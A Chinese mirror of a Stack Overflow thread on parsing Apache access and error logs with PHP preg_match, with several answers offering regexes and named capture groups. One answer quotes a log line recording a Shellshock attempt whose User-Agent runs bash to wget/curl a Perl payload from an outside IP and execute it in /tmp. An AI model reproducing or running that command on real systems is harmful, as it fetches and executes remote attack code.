使用 preg_match 在 PHP 中解析 Apache 日志
Posted
技术标签:
【中文标题】使用 preg_match 在 PHP 中解析 Apache 日志【英文标题】:Parse Apache log in PHP using preg_match 【发布时间】:2011-11-28 00:23:15 【问题描述】:我需要将数据保存在表格中(用于报告、统计等...),以便用户可以按时间、用户代理等进行搜索。我有一个每天运行的脚本,它读取 Apache 日志,然后将其插入在数据库中。
日志格式:
10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (Khtml, like Gecko) Version/5.0.5 Safari/533.21.1"
我的正则表达式:
preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches);
现在当我打印时:
print_r($matches);
Array
(
[0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
[1] => 10.1.1.150
[2] => -
[3] => -
[4] => 29/September/2011
[5] => 14:21:49
[6] => -0400
[7] => GET
[8] => /info/
[9] => HTTP/1.1
[10] => 200
[11] => 9955
[12] => "http://www.domain.com/download/"
[13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
)
我得到:"http://www.domain.com/download/"
和用户代理相同。如何在正则表达式中摆脱这些"
?奖励(有什么快速的方法可以轻松插入日期/时间)?
谢谢
【问题讨论】:
这是问题 #2221636 的副本 我为此编写了一个简单的辅助类。见github.com/Spudley/ApacheLogIterator @SDC:谢谢 Simon,那个迭代器太棒了! 【参考方案1】:要在 php 中解析 Apache access_log
登录,您可以使用这个正则表达式:
$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/';
preg_match($regex ,$log, $matches);
要匹配 Apache error_log
格式,您可以使用此正则表达式:
$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i';
preg_match($regex, $log, $matches);
$matches[1] = Date and time, $matches[2] = severity,
$matches[3] = client addr (if present) $matches[4] = log message
它匹配有或没有客户端的行:
[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js
【讨论】:
请注意,您的正则表达式对于配置错误的用户代理失败,例如 \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.50 Safari/537.36 \" 是的,有人忘记正确设置自己的用户代理。 使用 "(.*?)" 作为最后一个捕获组并删除行尾匹配字符 $ 避免了上面提到的打嗝。【参考方案2】:如果您不想捕获双引号,请将它们移出捕获组。
(\".*?\")
应该变成:
\"(.*?)\"
作为替代方案,您可以使用trim($str, '"')
对条目进行后处理
【讨论】:
【参考方案3】:你的正则表达式是错误的。 你应该使用正确的正则表达式
/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/
【讨论】:
您能否详细说明错误的位置和原因? (这将有助于确保以后不再重复同样的错误):) 我第二个。没有解释为什么正则表达式是错误的。 此外,它与标准 Apache 日志行不匹配。忽略这个。【参考方案4】:正如我已经看到并完成了这么多错误的日志解析,这是一个希望有效的正则表达式,在没有任何单一差异的 50k 行日志上进行了测试,知道:
auth_user 可以有空格 response_size 可以是 - http_start_line 至少可以有一个空格 (HTTP/0.9) 或两个 http_start_line 可能包含双引号 referrer 可以为空、有空格或双引号(它只是一个 HTTP 标头) user_agent 也可以为空,或者包含双引号和空格referrer 和 user-agent 很难区分,让我们把两者之间的" "
归类就足够了,但是我们可以在referrer 和 user-agent 中找到臭名昭著的" "
,所以基本上,我们'在这里搞砸了。
$ncsa_re = '/^(?P<IP>\S+)
\ (?P<ident>\S)
\ (?P<auth_user>.*?) # Spaces are allowed here, can be empty.
\ (?P<date>\[[^]]+\])
\ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9
\ (?P<status_code>[0-9]+) # Status code is _always_ an integer
\ (?P<response_size>(?:[0-9]+|-)) # Response size can be -
\ "(?P<referrer>.*)" # Referrer can contains everything: its just a header
\ "(?P<user_agent>.*)"$/x';
希望对您有所帮助。
【讨论】:
你的正则表达式中的 ?P 是什么?我还没有找到任何使用正则表达式来识别它的东西,它只是被标记为错误。 @mutatron 这是一个命名捕获。搜索“命名组”或“命名捕获组”。【参考方案5】:我在 2015 年 1 月在这里尝试使用几个正则表达式,发现一个坏机器人在我的 apache2 日志中没有得到匹配。
bad bot apache2 line 是 BASH hack 尝试,我还没有尝试找出正则表达式更正:
199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() :;; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""
【讨论】:
以上是关于使用 preg_match 在 PHP 中解析 Apache 日志的主要内容,如果未能解决你的问题,请参考以下文章
PHP 5.6.10-preg_match():编译失败:字符类中的范围在偏移100处无效[重复]
PHP中preg_match正则匹配的/u /i /s是什么意思